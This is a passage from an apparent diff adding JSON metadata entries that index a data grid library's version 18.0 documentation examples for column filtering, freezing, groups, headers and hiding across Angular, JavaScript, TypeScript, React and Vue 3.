"displayName": "TypeScript" + }, + { + "bucket": "18.0", + "docsPath": "guides/columns/column-filter/vue/exampleSearchMode.vue", + "file": "guides__columns__column-filter__vue__exampleSearchMode.vue.json", + "breadcrumb": [ + "Columns", + "Column filter" + ], + "guide": "guides/columns/column-filter/column-filter.md", + "guideTitle": "Column filter", + "exampleId": "exampleSearchMode", + "exampleTitle": "Enable filtering within already filtered results", + "docPermalink": "/column-filter", + "framework": "vue", + "displayName": "Vue 3" + }, + { + "bucket": "18.0", + "docsPath": "guides/columns/column-filter/javascript/exampleServerSideFilter.js", + "file": "guides__columns__column-filter__javascript__exampleServerSideFilter.js.json", + "breadcrumb": [ + "Columns", + "Column filter" + ], + "guide": "guides/columns/column-filter/column-filter.md", + "guideTitle": "Column filter", + "exampleId": "exampleServerSideFilter", + "exampleTitle": "Server-side filtering", + "docPermalink": "/column-filter", + "framework": "javascript", + "displayName": "JavaScript" + }, + { + "bucket": "18.0", + "docsPath": "guides/columns/column-filter/react/exampleServerSideFilter.tsx", + "file": "guides__columns__column-filter__react__exampleServerSideFilter.tsx.json", + "breadcrumb": [ + "Columns", + "Column filter" + ], + "guide": "guides/columns/column-filter/column-filter.md", + "guideTitle": "Column filter", + "exampleId": "exampleServerSideFilter", + "exampleTitle": "Server-side filtering", + "docPermalink": "/column-filter", + "framework": "react", + "displayName": "React (TS)" + }, + { + "bucket": "18.0", + "docsPath": "guides/columns/column-filter/javascript/exampleServerSideFilter.ts", + "file": "guides__columns__column-filter__javascript__exampleServerSideFilter.ts.json", + "breadcrumb": [ + "Columns", + "Column filter" + ], + "guide": "guides/columns/column-filter/column-filter.md", + "guideTitle": "Column filter", + "exampleId": "exampleServerSideFilter", + "exampleTitle": "Server-side filtering", + "docPermalink": "/column-filter", + "framework": "typescript", + "displayName": "TypeScript" + }, + { + "bucket": "18.0", + "docsPath": "guides/columns/column-filter/vue/exampleServerSideFilter.vue", + "file": "guides__columns__column-filter__vue__exampleServerSideFilter.vue.json", + "breadcrumb": [ + "Columns", + "Column filter" + ], + "guide": "guides/columns/column-filter/column-filter.md", + "guideTitle": "Column filter", + "exampleId": "exampleServerSideFilter", + "exampleTitle": "Server-side filtering", + "docPermalink": "/column-filter", + "framework": "vue", + "displayName": "Vue 3" + }, + { + "bucket": "18.0", + "docsPath": "guides/columns/column-filter/javascript/exampleShowFilterItemsOnly.js", + "file": "guides__columns__column-filter__javascript__exampleShowFilterItemsOnly.js.json", + "breadcrumb": [ + "Columns", + "Column filter" + ], + "guide": "guides/columns/column-filter/column-filter.md", + "guideTitle": "Column filter", + "exampleId": "exampleShowFilterItemsOnly", + "exampleTitle": "Enable filtering", + "docPermalink": "/column-filter", + "framework": "javascript", + "displayName": "JavaScript" + }, + { + "bucket": "18.0", + "docsPath": "guides/columns/column-filter/react/exampleShowFilterItemsOnly.tsx", + "file": "guides__columns__column-filter__react__exampleShowFilterItemsOnly.tsx.json", + "breadcrumb": [ + "Columns", + "Column filter" + ], + "guide": "guides/columns/column-filter/column-filter.md", + "guideTitle": "Column filter", + "exampleId": "exampleShowFilterItemsOnly", + "exampleTitle": "Enable filtering", + "docPermalink": "/column-filter", + "framework": "react", + "displayName": "React (TS)" + }, + { + "bucket": "18.0", + "docsPath": "guides/columns/column-filter/javascript/exampleShowFilterItemsOnly.ts", + "file": "guides__columns__column-filter__javascript__exampleShowFilterItemsOnly.ts.json", + "breadcrumb": [ + "Columns", + "Column filter" + ], + "guide": "guides/columns/column-filter/column-filter.md", + "guideTitle": "Column filter", + "exampleId": "exampleShowFilterItemsOnly", + "exampleTitle": "Enable filtering", + "docPermalink": "/column-filter", + "framework": "typescript", + "displayName": "TypeScript" + }, + { + "bucket": "18.0", + "docsPath": "guides/columns/column-filter/vue/exampleShowFilterItemsOnly.vue", + "file": "guides__columns__column-filter__vue__exampleShowFilterItemsOnly.vue.json", + "breadcrumb": [ + "Columns", + "Column filter" + ], + "guide": "guides/columns/column-filter/column-filter.md", + "guideTitle": "Column filter", + "exampleId": "exampleShowFilterItemsOnly", + "exampleTitle": "Enable filtering", + "docPermalink": "/column-filter", + "framework": "vue", + "displayName": "Vue 3" + }, + { + "bucket": "18.0", + "docsPath": "guides/columns/column-freezing/angular/example1.ts", + "file": "guides__columns__column-freezing__angular__example1.ts.json", + "breadcrumb": [ + "Columns", + "Column freezing" + ], + "guide": "guides/columns/column-freezing/column-freezing.md", + "guideTitle": "Column freezing", + "exampleId": "example1", + "exampleTitle": "Standard example", + "docPermalink": "/column-freezing", + "framework": "angular", + "displayName": "Angular" + }, + { + "bucket": "18.0", + "docsPath": "guides/columns/column-freezing/javascript/example1.js", + "file": "guides__columns__column-freezing__javascript__example1.js.json", + "breadcrumb": [ + "Columns", + "Column freezing" + ], + "guide": "guides/columns/column-freezing/column-freezing.md", + "guideTitle": "Column freezing", + "exampleId": "example1", + "exampleTitle": "Standard example", + "docPermalink": "/column-freezing", + "framework": "javascript", + "displayName": "JavaScript" + }, + { + "bucket": "18.0", + "docsPath": "guides/columns/column-freezing/react/example1.tsx", + "file": "guides__columns__column-freezing__react__example1.tsx.json", + "breadcrumb": [ + "Columns", + "Column freezing" + ], + "guide": "guides/columns/column-freezing/column-freezing.md", + "guideTitle": "Column freezing", + "exampleId": "example1", + "exampleTitle": "Standard example", + "docPermalink": "/column-freezing", + "framework": "react", + "displayName": "React (TS)" + }, + { + "bucket": "18.0", + "docsPath": "guides/columns/column-freezing/javascript/example1.ts", + "file": "guides__columns__column-freezing__javascript__example1.ts.json", + "breadcrumb": [ + "Columns", + "Column freezing" + ], + "guide": "guides/columns/column-freezing/column-freezing.md", + "guideTitle": "Column freezing", + "exampleId": "example1", + "exampleTitle": "Standard example", + "docPermalink": "/column-freezing", + "framework": "typescript", + "displayName": "TypeScript" + }, + { + "bucket": "18.0", + "docsPath": "guides/columns/column-freezing/vue/example1.vue", + "file": "guides__columns__column-freezing__vue__example1.vue.json", + "breadcrumb": [ + "Columns", + "Column freezing" + ], + "guide": "guides/columns/column-freezing/column-freezing.md", + "guideTitle": "Column freezing", + "exampleId": "example1", + "exampleTitle": "Standard example", + "docPermalink": "/column-freezing", + "framework": "vue", + "displayName": "Vue 3" + }, + { + "bucket": "18.0", + "docsPath": "guides/columns/column-freezing/angular/example2.ts", + "file": "guides__columns__column-freezing__angular__example2.ts.json", + "breadcrumb": [ + "Columns", + "Column freezing" + ], + "guide": "guides/columns/column-freezing/column-freezing.md", + "guideTitle": "Column freezing", + "exampleId": "example2", + "exampleTitle": "User-triggered freeze", + "docPermalink": "/column-freezing", + "framework": "angular", + "displayName": "Angular" + }, + { + "bucket": "18.0", + "docsPath": "guides/columns/column-freezing/javascript/example2.js", + "file": "guides__columns__column-freezing__javascript__example2.js.json", + "breadcrumb": [ + "Columns", + "Column freezing" + ], + "guide": "guides/columns/column-freezing/column-freezing.md", + "guideTitle": "Column freezing", + "exampleId": "example2", + "exampleTitle": "User-triggered freeze", + "docPermalink": "/column-freezing", + "framework": "javascript", + "displayName": "JavaScript" + }, + { + "bucket": "18.0", + "docsPath": "guides/columns/column-freezing/react/example2.tsx", + "file": "guides__columns__column-freezing__react__example2.tsx.json", + "breadcrumb": [ + "Columns", + "Column freezing" + ], + "guide": "guides/columns/column-freezing/column-freezing.md", + "guideTitle": "Column freezing", + "exampleId": "example2", + "exampleTitle": "User-triggered freeze", + "docPermalink": "/column-freezing", + "framework": "react", + "displayName": "React (TS)" + }, + { + "bucket": "18.0", + "docsPath": "guides/columns/column-freezing/javascript/example2.ts", + "file": "guides__columns__column-freezing__javascript__example2.ts.json", + "breadcrumb": [ + "Columns", + "Column freezing" + ], + "guide": "guides/columns/column-freezing/column-freezing.md", + "guideTitle": "Column freezing", + "exampleId": "example2", + "exampleTitle": "User-triggered freeze", + "docPermalink": "/column-freezing", + "framework": "typescript", + "displayName": "TypeScript" + }, + { + "bucket": "18.0", + "docsPath": "guides/columns/column-freezing/vue/example2.vue", + "file": "guides__columns__column-freezing__vue__example2.vue.json", + "breadcrumb": [ + "Columns", + "Column freezing" + ], + "guide": "guides/columns/column-freezing/column-freezing.md", + "guideTitle": "Column freezing", + "exampleId": "example2", + "exampleTitle": "User-triggered freeze", + "docPermalink": "/column-freezing", + "framework": "vue", + "displayName": "Vue 3" + }, + { + "bucket": "18.0", + "docsPath": "guides/columns/column-groups/angular/example1.ts", + "file": "guides__columns__column-groups__angular__example1.ts.json", + "breadcrumb": [ + "Columns", + "Column groups" + ], + "guide": "guides/columns/column-groups/column-groups.md", + "guideTitle": "Column groups", + "exampleId": "example1", + "exampleTitle": "Standard example", + "docPermalink": "/column-groups", + "framework": "angular", + "displayName": "Angular" + }, + { + "bucket": "18.0", + "docsPath": "guides/columns/column-groups/javascript/example1.js", + "file": "guides__columns__column-groups__javascript__example1.js.json", + "breadcrumb": [ + "Columns", + "Column groups" + ], + "guide": "guides/columns/column-groups/column-groups.md", + "guideTitle": "Column groups", + "exampleId": "example1", + "exampleTitle": "Standard example", + "docPermalink": "/column-groups", + "framework": "javascript", + "displayName": "JavaScript" + }, + { + "bucket": "18.0", + "docsPath": "guides/columns/column-groups/react/example1.tsx", + "file": "guides__columns__column-groups__react__example1.tsx.json", + "breadcrumb": [ + "Columns", + "Column groups" + ], + "guide": "guides/columns/column-groups/column-groups.md", + "guideTitle": "Column groups", + "exampleId": "example1", + "exampleTitle": "Standard example", + "docPermalink": "/column-groups", + "framework": "react", + "displayName": "React (TS)" + }, + { + "bucket": "18.0", + "docsPath": "guides/columns/column-groups/javascript/example1.ts", + "file": "guides__columns__column-groups__javascript__example1.ts.json", + "breadcrumb": [ + "Columns", + "Column groups" + ], + "guide": "guides/columns/column-groups/column-groups.md", + "guideTitle": "Column groups", + "exampleId": "example1", + "exampleTitle": "Standard example", + "docPermalink": "/column-groups", + "framework": "typescript", + "displayName": "TypeScript" + }, + { + "bucket": "18.0", + "docsPath": "guides/columns/column-groups/vue/example1.vue", + "file": "guides__columns__column-groups__vue__example1.vue.json", + "breadcrumb": [ + "Columns", + "Column groups" + ], + "guide": "guides/columns/column-groups/column-groups.md", + "guideTitle": "Column groups", + "exampleId": "example1", + "exampleTitle": "Standard example", + "docPermalink": "/column-groups", + "framework": "vue", + "displayName": "Vue 3" + }, + { + "bucket": "18.0", + "docsPath": "guides/columns/column-groups/angular/example2.ts", + "file": "guides__columns__column-groups__angular__example2.ts.json", + "breadcrumb": [ + "Columns", + "Column groups" + ], + "guide": "guides/columns/column-groups/column-groups.md", + "guideTitle": "Column groups", + "exampleId": "example2", + "exampleTitle": "Example", + "docPermalink": "/column-groups", + "framework": "angular", + "displayName": "Angular" + }, + { + "bucket": "18.0", + "docsPath": "guides/columns/column-groups/javascript/example2.js", + "file": "guides__columns__column-groups__javascript__example2.js.json", + "breadcrumb": [ + "Columns", + "Column groups" + ], + "guide": "guides/columns/column-groups/column-groups.md", + "guideTitle": "Column groups", + "exampleId": "example2", + "exampleTitle": "Example", + "docPermalink": "/column-groups", + "framework": "javascript", + "displayName": "JavaScript" + }, + { + "bucket": "18.0", + "docsPath": "guides/columns/column-groups/react/example2.tsx", + "file": "guides__columns__column-groups__react__example2.tsx.json", + "breadcrumb": [ + "Columns", + "Column groups" + ], + "guide": "guides/columns/column-groups/column-groups.md", + "guideTitle": "Column groups", + "exampleId": "example2", + "exampleTitle": "Example", + "docPermalink": "/column-groups", + "framework": "react", + "displayName": "React (TS)" + }, + { + "bucket": "18.0", + "docsPath": "guides/columns/column-groups/javascript/example2.ts", + "file": "guides__columns__column-groups__javascript__example2.ts.json", + "breadcrumb": [ + "Columns", + "Column groups" + ], + "guide": "guides/columns/column-groups/column-groups.md", + "guideTitle": "Column groups", + "exampleId": "example2", + "exampleTitle": "Example", + "docPermalink": "/column-groups", + "framework": "typescript", + "displayName": "TypeScript" + }, + { + "bucket": "18.0", + "docsPath": "guides/columns/column-groups/vue/example2.vue", + "file": "guides__columns__column-groups__vue__example2.vue.json", + "breadcrumb": [ + "Columns", + "Column groups" + ], + "guide": "guides/columns/column-groups/column-groups.md", + "guideTitle": "Column groups", + "exampleId": "example2", + "exampleTitle": "Example", + "docPermalink": "/column-groups", + "framework": "vue", + "displayName": "Vue 3" + }, + { + "bucket": "18.0", + "docsPath": "guides/columns/column-groups/angular/example3.ts", + "file": "guides__columns__column-groups__angular__example3.ts.json", + "breadcrumb": [ + "Columns", + "Column groups" + ], + "guide": "guides/columns/column-groups/column-groups.md", + "guideTitle": "Column groups", + "exampleId": "example3", + "exampleTitle": "Choose which columns stay visible when collapsed", + "docPermalink": "/column-groups", + "framework": "angular", + "displayName": "Angular" + }, + { + "bucket": "18.0", + "docsPath": "guides/columns/column-groups/javascript/example3.js", + "file": "guides__columns__column-groups__javascript__example3.js.json", + "breadcrumb": [ + "Columns", + "Column groups" + ], + "guide": "guides/columns/column-groups/column-groups.md", + "guideTitle": "Column groups", + "exampleId": "example3", + "exampleTitle": "Choose which columns stay visible when collapsed", + "docPermalink": "/column-groups", + "framework": "javascript", + "displayName": "JavaScript" + }, + { + "bucket": "18.0", + "docsPath": "guides/columns/column-groups/react/example3.tsx", + "file": "guides__columns__column-groups__react__example3.tsx.json", + "breadcrumb": [ + "Columns", + "Column groups" + ], + "guide": "guides/columns/column-groups/column-groups.md", + "guideTitle": "Column groups", + "exampleId": "example3", + "exampleTitle": "Choose which columns stay visible when collapsed", + "docPermalink": "/column-groups", + "framework": "react", + "displayName": "React (TS)" + }, + { + "bucket": "18.0", + "docsPath": "guides/columns/column-groups/javascript/example3.ts", + "file": "guides__columns__column-groups__javascript__example3.ts.json", + "breadcrumb": [ + "Columns", + "Column groups" + ], + "guide": "guides/columns/column-groups/column-groups.md", + "guideTitle": "Column groups", + "exampleId": "example3", + "exampleTitle": "Choose which columns stay visible when collapsed", + "docPermalink": "/column-groups", + "framework": "typescript", + "displayName": "TypeScript" + }, + { + "bucket": "18.0", + "docsPath": "guides/columns/column-groups/vue/example3.vue", + "file": "guides__columns__column-groups__vue__example3.vue.json", + "breadcrumb": [ + "Columns", + "Column groups" + ], + "guide": "guides/columns/column-groups/column-groups.md", + "guideTitle": "Column groups", + "exampleId": "example3", + "exampleTitle": "Choose which columns stay visible when collapsed", + "docPermalink": "/column-groups", + "framework": "vue", + "displayName": "Vue 3" + }, + { + "bucket": "18.0", + "docsPath": "guides/columns/column-header/angular/example1.ts", + "file": "guides__columns__column-header__angular__example1.ts.json", + "breadcrumb": [ + "Columns", + "Column headers" + ], + "guide": "guides/columns/column-header/column-header.md", + "guideTitle": "Column headers", + "exampleId": "example1", + "exampleTitle": "Standard example", + "docPermalink": "/column-header", + "framework": "angular", + "displayName": "Angular" + }, + { + "bucket": "18.0", + "docsPath": "guides/columns/column-header/javascript/example1.js", + "file": "guides__columns__column-header__javascript__example1.js.json", + "breadcrumb": [ + "Columns", + "Column headers" + ], + "guide": "guides/columns/column-header/column-header.md", + "guideTitle": "Column headers", + "exampleId": "example1", + "exampleTitle": "Standard example", + "docPermalink": "/column-header", + "framework": "javascript", + "displayName": "JavaScript" + }, + { + "bucket": "18.0", + "docsPath": "guides/columns/column-header/react/example1.tsx", + "file": "guides__columns__column-header__react__example1.tsx.json", + "breadcrumb": [ + "Columns", + "Column headers" + ], + "guide": "guides/columns/column-header/column-header.md", + "guideTitle": "Column headers", + "exampleId": "example1", + "exampleTitle": "Standard example", + "docPermalink": "/column-header", + "framework": "react", + "displayName": "React (TS)" + }, + { + "bucket": "18.0", + "docsPath": "guides/columns/column-header/javascript/example1.ts", + "file": "guides__columns__column-header__javascript__example1.ts.json", + "breadcrumb": [ + "Columns", + "Column headers" + ], + "guide": "guides/columns/column-header/column-header.md", + "guideTitle": "Column headers", + "exampleId": "example1", + "exampleTitle": "Standard example", + "docPermalink": "/column-header", + "framework": "typescript", + "displayName": "TypeScript" + }, + { + "bucket": "18.0", + "docsPath": "guides/columns/column-header/vue/example1.vue", + "file": "guides__columns__column-header__vue__example1.vue.json", + "breadcrumb": [ + "Columns", + "Column headers" + ], + "guide": "guides/columns/column-header/column-header.md", + "guideTitle": "Column headers", + "exampleId": "example1", + "exampleTitle": "Standard example", + "docPermalink": "/column-header", + "framework": "vue", + "displayName": "Vue 3" + }, + { + "bucket": "18.0", + "docsPath": "guides/columns/column-header/angular/example2.ts", + "file": "guides__columns__column-header__angular__example2.ts.json", + "breadcrumb": [ + "Columns", + "Column headers" + ], + "guide": "guides/columns/column-header/column-header.md", + "guideTitle": "Column headers", + "exampleId": "example2", + "exampleTitle": "Header labels as an array", + "docPermalink": "/column-header", + "framework": "angular", + "displayName": "Angular" + }, + { + "bucket": "18.0", + "docsPath": "guides/columns/column-header/javascript/example2.js", + "file": "guides__columns__column-header__javascript__example2.js.json", + "breadcrumb": [ + "Columns", + "Column headers" + ], + "guide": "guides/columns/column-header/column-header.md", + "guideTitle": "Column headers", + "exampleId": "example2", + "exampleTitle": "Header labels as an array", + "docPermalink": "/column-header", + "framework": "javascript", + "displayName": "JavaScript" + }, + { + "bucket": "18.0", + "docsPath": "guides/columns/column-header/react/example2.tsx", + "file": "guides__columns__column-header__react__example2.tsx.json", + "breadcrumb": [ + "Columns", + "Column headers" + ], + "guide": "guides/columns/column-header/column-header.md", + "guideTitle": "Column headers", + "exampleId": "example2", + "exampleTitle": "Header labels as an array", + "docPermalink": "/column-header", + "framework": "react", + "displayName": "React (TS)" + }, + { + "bucket": "18.0", + "docsPath": "guides/columns/column-header/javascript/example2.ts", + "file": "guides__columns__column-header__javascript__example2.ts.json", + "breadcrumb": [ + "Columns", + "Column headers" + ], + "guide": "guides/columns/column-header/column-header.md", + "guideTitle": "Column headers", + "exampleId": "example2", + "exampleTitle": "Header labels as an array", + "docPermalink": "/column-header", + "framework": "typescript", + "displayName": "TypeScript" + }, + { + "bucket": "18.0", + "docsPath": "guides/columns/column-header/vue/example2.vue", + "file": "guides__columns__column-header__vue__example2.vue.json", + "breadcrumb": [ + "Columns", + "Column headers" + ], + "guide": "guides/columns/column-header/column-header.md", + "guideTitle": "Column headers", + "exampleId": "example2", + "exampleTitle": "Header labels as an array", + "docPermalink": "/column-header", + "framework": "vue", + "displayName": "Vue 3" + }, + { + "bucket": "18.0", + "docsPath": "guides/columns/column-header/angular/example3.ts", + "file": "guides__columns__column-header__angular__example3.ts.json", + "breadcrumb": [ + "Columns", + "Column headers" + ], + "guide": "guides/columns/column-header/column-header.md", + "guideTitle": "Column headers", + "exampleId": "example3", + "exampleTitle": "Header labels as a function", + "docPermalink": "/column-header", + "framework": "angular", + "displayName": "Angular" + }, + { + "bucket": "18.0", + "docsPath": "guides/columns/column-header/javascript/example3.js", + "file": "guides__columns__column-header__javascript__example3.js.json", + "breadcrumb": [ + "Columns", + "Column headers" + ], + "guide": "guides/columns/column-header/column-header.md", + "guideTitle": "Column headers", + "exampleId": "example3", + "exampleTitle": "Header labels as a function", + "docPermalink": "/column-header", + "framework": "javascript", + "displayName": "JavaScript" + }, + { + "bucket": "18.0", + "docsPath": "guides/columns/column-header/react/example3.tsx", + "file": "guides__columns__column-header__react__example3.tsx.json", + "breadcrumb": [ + "Columns", + "Column headers" + ], + "guide": "guides/columns/column-header/column-header.md", + "guideTitle": "Column headers", + "exampleId": "example3", + "exampleTitle": "Header labels as a function", + "docPermalink": "/column-header", + "framework": "react", + "displayName": "React (TS)" + }, + { + "bucket": "18.0", + "docsPath": "guides/columns/column-header/javascript/example3.ts", + "file": "guides__columns__column-header__javascript__example3.ts.json", + "breadcrumb": [ + "Columns", + "Column headers" + ], + "guide": "guides/columns/column-header/column-header.md", + "guideTitle": "Column headers", + "exampleId": "example3", + "exampleTitle": "Header labels as a function", + "docPermalink": "/column-header", + "framework": "typescript", + "displayName": "TypeScript" + }, + { + "bucket": "18.0", + "docsPath": "guides/columns/column-header/vue/example3.vue", + "file": "guides__columns__column-header__vue__example3.vue.json", + "breadcrumb": [ + "Columns", + "Column headers" + ], + "guide": "guides/columns/column-header/column-header.md", + "guideTitle": "Column headers", + "exampleId": "example3", + "exampleTitle": "Header labels as a function", + "docPermalink": "/column-header", + "framework": "vue", + "displayName": "Vue 3" + }, + { + "bucket": "18.0", + "docsPath": "guides/columns/column-header/angular/example4.ts", + "file": "guides__columns__column-header__angular__example4.ts.json", + "breadcrumb": [ + "Columns", + "Column headers" + ], + "guide": "guides/columns/column-header/column-header.md", + "guideTitle": "Column headers", + "exampleId": "example4", + "exampleTitle": "Customize column headers", + "docPermalink": "/column-header", + "framework": "angular", + "displayName": "Angular" + }, + { + "bucket": "18.0", + "docsPath": "guides/columns/column-header/javascript/example4.js", + "file": "guides__columns__column-header__javascript__example4.js.json", + "breadcrumb": [ + "Columns", + "Column headers" + ], + "guide": "guides/columns/column-header/column-header.md", + "guideTitle": "Column headers", + "exampleId": "example4", + "exampleTitle": "Customize column headers", + "docPermalink": "/column-header", + "framework": "javascript", + "displayName": "JavaScript" + }, + { + "bucket": "18.0", + "docsPath": "guides/columns/column-header/react/example4.tsx", + "file": "guides__columns__column-header__react__example4.tsx.json", + "breadcrumb": [ + "Columns", + "Column headers" + ], + "guide": "guides/columns/column-header/column-header.md", + "guideTitle": "Column headers", + "exampleId": "example4", + "exampleTitle": "Customize column headers", + "docPermalink": "/column-header", + "framework": "react", + "displayName": "React (TS)" + }, + { + "bucket": "18.0", + "docsPath": "guides/columns/column-header/javascript/example4.ts", + "file": "guides__columns__column-header__javascript__example4.ts.json", + "breadcrumb": [ + "Columns", + "Column headers" + ], + "guide": "guides/columns/column-header/column-header.md", + "guideTitle": "Column headers", + "exampleId": "example4", + "exampleTitle": "Customize column headers", + "docPermalink": "/column-header", + "framework": "typescript", + "displayName": "TypeScript" + }, + { + "bucket": "18.0", + "docsPath": "guides/columns/column-header/vue/example4.vue", + "file": "guides__columns__column-header__vue__example4.vue.json", + "breadcrumb": [ + "Columns", + "Column headers" + ], + "guide": "guides/columns/column-header/column-header.md", + "guideTitle": "Column headers", + "exampleId": "example4", + "exampleTitle": "Customize column headers", + "docPermalink": "/column-header", + "framework": "vue", + "displayName": "Vue 3" + }, + { + "bucket": "18.0", + "docsPath": "guides/columns/column-header/angular/example5.ts", + "file": "guides__columns__column-header__angular__example5.ts.json", + "breadcrumb": [ + "Columns", + "Column headers" + ], + "guide": "guides/columns/column-header/column-header.md", + "guideTitle": "Column headers", + "exampleId": "example5", + "exampleTitle": "Customize column headers (2)", + "docPermalink": "/column-header", + "framework": "angular", + "displayName": "Angular" + }, + { + "bucket": "18.0", + "docsPath": "guides/columns/column-header/javascript/example5.js", + "file": "guides__columns__column-header__javascript__example5.js.json", + "breadcrumb": [ + "Columns", + "Column headers" + ], + "guide": "guides/columns/column-header/column-header.md", + "guideTitle": "Column headers", + "exampleId": "example5", + "exampleTitle": "Customize column headers (2)", + "docPermalink": "/column-header", + "framework": "javascript", + "displayName": "JavaScript" + }, + { + "bucket": "18.0", + "docsPath": "guides/columns/column-header/react/example5.tsx", + "file": "guides__columns__column-header__react__example5.tsx.json", + "breadcrumb": [ + "Columns", + "Column headers" + ], + "guide": "guides/columns/column-header/column-header.md", + "guideTitle": "Column headers", + "exampleId": "example5", + "exampleTitle": "Customize column headers (2)", + "docPermalink": "/column-header", + "framework": "react", + "displayName": "React (TS)" + }, + { + "bucket": "18.0", + "docsPath": "guides/columns/column-header/javascript/example5.ts", + "file": "guides__columns__column-header__javascript__example5.ts.json", + "breadcrumb": [ + "Columns", + "Column headers" + ], + "guide": "guides/columns/column-header/column-header.md", + "guideTitle": "Column headers", + "exampleId": "example5", + "exampleTitle": "Customize column headers (2)", + "docPermalink": "/column-header", + "framework": "typescript", + "displayName": "TypeScript" + }, + { + "bucket": "18.0", + "docsPath": "guides/columns/column-header/vue/example5.vue", + "file": "guides__columns__column-header__vue__example5.vue.json", + "breadcrumb": [ + "Columns", + "Column headers" + ], + "guide": "guides/columns/column-header/column-header.md", + "guideTitle": "Column headers", + "exampleId": "example5", + "exampleTitle": "Customize column headers (2)", + "docPermalink": "/column-header", + "framework": "vue", + "displayName": "Vue 3" + }, + { + "bucket": "18.0", + "docsPath": "guides/columns/column-hiding/angular/example1.ts", + "file": "guides__columns__column-hiding__angular__example1.ts.json", + "breadcrumb": [ + "Columns", + "Column hiding" + ], + "guide": "guides/columns/column-hiding/column-hiding.md", + "guideTitle": "Column hiding", + "exampleId": "example1", + "exampleTitle": "Standard example", + "docPermalink": "/column-hiding", + "framework": "angular", + "displayName": "Angular" + }, + { + "bucket": "18.0", + "docsPath": "guides/columns/column-hiding/javascript/example1.js", + "file": "guides__columns__column-hiding__javascript__example1.js.json", + "breadcrumb": [ + "Columns", + "Column hiding" + ], + "guide": "guides/columns/column-hiding/column-hiding.md", + "guideTitle": "Column hiding", + "exampleId": "example1", + "exampleTitle": "Standard example", + "docPermalink": "/column-hiding", + "framework": "javascript", + "displayName": "JavaScript" + }, + { + "bucket": "18.0", + "docsPath": "guides/columns/column-hiding/react/example1.tsx", + "file": "guides__columns__column-hiding__react__example1.tsx.json", + "breadcrumb": [ + "Columns", + "Column hiding" + ], + "guide": "guides/columns/column-hiding/column-hiding.md", + "guideTitle": "Column hiding", + "exampleId": "example1", + "exampleTitle": "Standard example", + "docPermalink": "/column-hiding", + "framework": "react", + "displayName": "React (TS)" + }, + { + "bucket": "18.0", + "docsPath": "guides/columns/column-hiding/javascript/example1.ts", + "file": "guides__columns__column-hiding__javascript__example1.ts.json", + "breadcrumb": [ + "Columns", + "Column hiding" + ], + "guide": "guides/columns/column-hiding/column-hiding.md", + "guideTitle": "Column hiding", + "exampleId": "example1", + "exampleTitle": "Standard example", + "docPermalink": "/column-hiding", + "framework": "typescript", + "displayName": "TypeScript" + }, + { + "bucket": "18.0", + "docsPath": "guides/columns/column-hiding/vue/example1.vue", + "file": "guides__columns__column-hiding__vue__example1.vue.json", + "breadcrumb": [ + "Columns", + "Column hiding" + ], + "guide": "guides/columns/column-hiding/column-hiding.md", + "guideTitle": "Column hiding", + "exampleId": "example1", + "exampleTitle": "Standard example", + "docPermalink": "/column-hiding", + "framework": "vue", + "displayName": "Vue 3" + }, + { + "bucket": "18.0", + "docsPath": "guides/columns/column-hiding/angular/example2.ts", + "file": "guides__columns__column-hiding__angular__example2.ts.json", + "breadcrumb": [ + "Columns", + "Column hiding" + ], + "guide": "guides/columns/column-hiding/column-hiding.md", + "guideTitle": "Column hiding", + "exampleId": "example2", + "exampleTitle": "Step 1: Specify columns hidden by default", + "docPermalink": "/column-hiding", + "framework": "angular", + "displayName": "Angular" + }, + { + "bucket": "18.0", + "docsPath": "guides/columns/column-hiding/javascript/example2.js", + "file": "guides__columns__column-hiding__javascript__example2.js.json", + "breadcrumb": [ + "Columns", + "Column hiding" + ], + "guide": "guides/columns/column-hiding/column-hiding.md", + "guideTitle": "Column hiding", + "exampleId": "example2", + "exampleTitle": "Step 1: Specify columns hidden by default", + "docPermalink": "/column-hiding", + "framework": "javascript", + "displayName": "JavaScript" + }, + { + "bucket": "18.0", + "docsPath": "guides/columns/column-hiding/react/example2.tsx", + "file": "guides__columns__column-hiding__react__example2.tsx.json", + "breadcrumb": [ + "Columns", + "Column hiding" + ], + "guide": "guides/columns/column-hiding/column-hiding.md", + "guideTitle": "Column hiding", + "exampleId": "example2", + "exampleTitle": "Step 1: Specify columns hidden by default", + "docPermalink": "/column-hiding", + "framework": "react", + "displayName": "React (TS)" + }, + { + "bucket": "18.0", + "docsPath": "guides/columns/column-hiding/javascript/example2.ts", + "file": "guides__columns__column-hiding__javascript__example2.ts.json", + "breadcrumb": [ + "Columns", + "Column hiding" + ], + "guide": "guides/columns/column-hiding/column-hiding.md", + "guideTitle": "Column hiding", + "exampleId": "example2", + "exampleTitle": "Step 1: Specify columns hidden by default", + "docPermalink": "/column-hiding", + "framework": "typescript", + "displayName": "TypeScript" + }, + { + "bucket": "18.0", + "docsPath": "guides/columns/column-hiding/vue/example2.vue", + "file": "guides__columns__column-hiding__vue__example2.vue.json", + "breadcrumb": [ + "Columns", + "Column hiding" + ], + "guide": "guides/columns/column-hiding/column-hiding.md", + "guideTitle": "Column hiding", + "exampleId": "example2", + "exampleTitle": "Step 1: Specify columns hidden by default", + "docPermalink": "/column-hiding", + "framework": "vue", + "displayName": "Vue 3" + }, + { + "bucket": "18.0", + "docsPath": "guides/columns/column-hiding/angular/example3.ts", + "file": "guides__columns__column-hiding__angular__example3.ts.json", + "breadcrumb": [ + "Columns", + "Column hiding" + ], + "guide": "guides/columns/column-hiding/column-hiding.md", + "guideTitle": "Column hiding", + "exampleId": "example3", + "exampleTitle": "Step 2: Show UI indicators", + "docPermalink": "/column-hiding", + "framework": "angular", + "displayName": "Angular" + }, + { + "bucket": "18.0", + "docsPath": "guides/columns/column-hiding/javascript/example3.js", + "file": "guides__columns__column-hiding__javascript__example3.js.json", + "breadcrumb": [ + "Columns", + "Column hiding" + ], + "guide": "guides/columns/column-hiding/column-hiding.md", + "guideTitle": "Column hiding", + "exampleId": "example3", + "exampleTitle": "Step 2: Show UI indicators", + "docPermalink": "/column-hiding", + "framework": "javascript", + "displayName": "JavaScript" + }, + { + "bucket": "18.0", + "docsPath": "guides/columns/column-hiding/react/example3.tsx", + "file": "guides__columns__column-hiding__react__example3.tsx.json", + "breadcrumb": [ + "Columns", + "Column hiding" + ], + "guide": "guides/columns/column-hiding/column-hiding.md", + "guideTitle": "Column hiding", + "exampleId": "example3", + "exampleTitle": "Step 2: Show UI indicators", + "docPermalink": "/column-hiding", + "framework": "react", + "displayName": "React (TS)" + }, + { + "bucket": "18.0", + "docsPath": "guides/columns/column-hiding/javascript/example3.ts", + "file": "guides__columns__column-hiding__javascript__example3.ts.json", + "breadcrumb": [ + "Columns", + "Column hiding" + ], + "guide": 